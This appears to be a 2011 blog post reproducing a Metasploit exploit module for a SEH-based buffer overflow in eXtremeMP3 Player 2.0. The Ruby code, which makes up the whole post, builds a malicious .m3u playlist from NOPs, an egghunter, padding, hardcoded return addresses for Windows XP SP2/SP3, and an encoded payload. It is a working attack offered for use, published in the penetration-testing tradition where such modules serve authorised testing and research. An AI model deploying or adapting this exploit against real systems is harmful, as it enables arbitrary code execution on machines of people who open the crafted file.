Monday, January 17, 2011

eXtremeMP3 Player 2.0 buffer overflow (SEH - Egghunter)

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# Security Team: Intranium Sdn Bhd, Malaysia
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh
    include Msf::Exploit::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'eXtremeMP3 Player 2.0 (m3u file) buffer overflow (SEH)',
            'Description'    => %q{
                    This module exploits a seh-based buffer overflow in eXtremeMP3 Player 2.0.
            },
            'License'        => MSF_LICENSE,
            'Author'      =>
                [
                    'C4SS!0 G0M3S',        # original exploit
                    'Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com', # metasploit module
                ],
            'Version'        => '$Revision:  $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/15994/' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => "\x00\x0a\x0d\x30",
                    'StackAdjustment'=> -1500,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3 & SP2 (EN)', { 'Ret' => 0x00401A2D } ], # POP ECX/POP EAX/RET [xtremeplaylist.exe]
                    # Tested on Win XP SP3 Version 5.1.2600 [OK]
                    # Tested on WIn XP SP2 [OK]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jan 15 2011',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'crash.m3u']),
                ], self.class)

    end

    def exploit

        badchars = ''
        eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }

        hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)

        fsploit =  ''
        fsploit << make_nops(1024)
        fsploit << egg
        fsploit << rand_text_alpha_upper(3244 - fsploit.length) # PADDING
        fsploit << [0x76B2D577].pack('V') # JMP ESP [atl.dll]
        fsploit << hunter
        fsploit << rand_text_alpha_upper(4112 - fsploit.length) # PADDING
        fsploit << [0xc3616161].pack('V') # POPAD/POPAD/POPAD/RET
        fsploit << [target.ret].pack('V') # POP ECX/POP EAX/RET [xtremeplaylist.exe]
        fsploit << rand_text_alpha_upper(8)

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(fsploit)

    end

end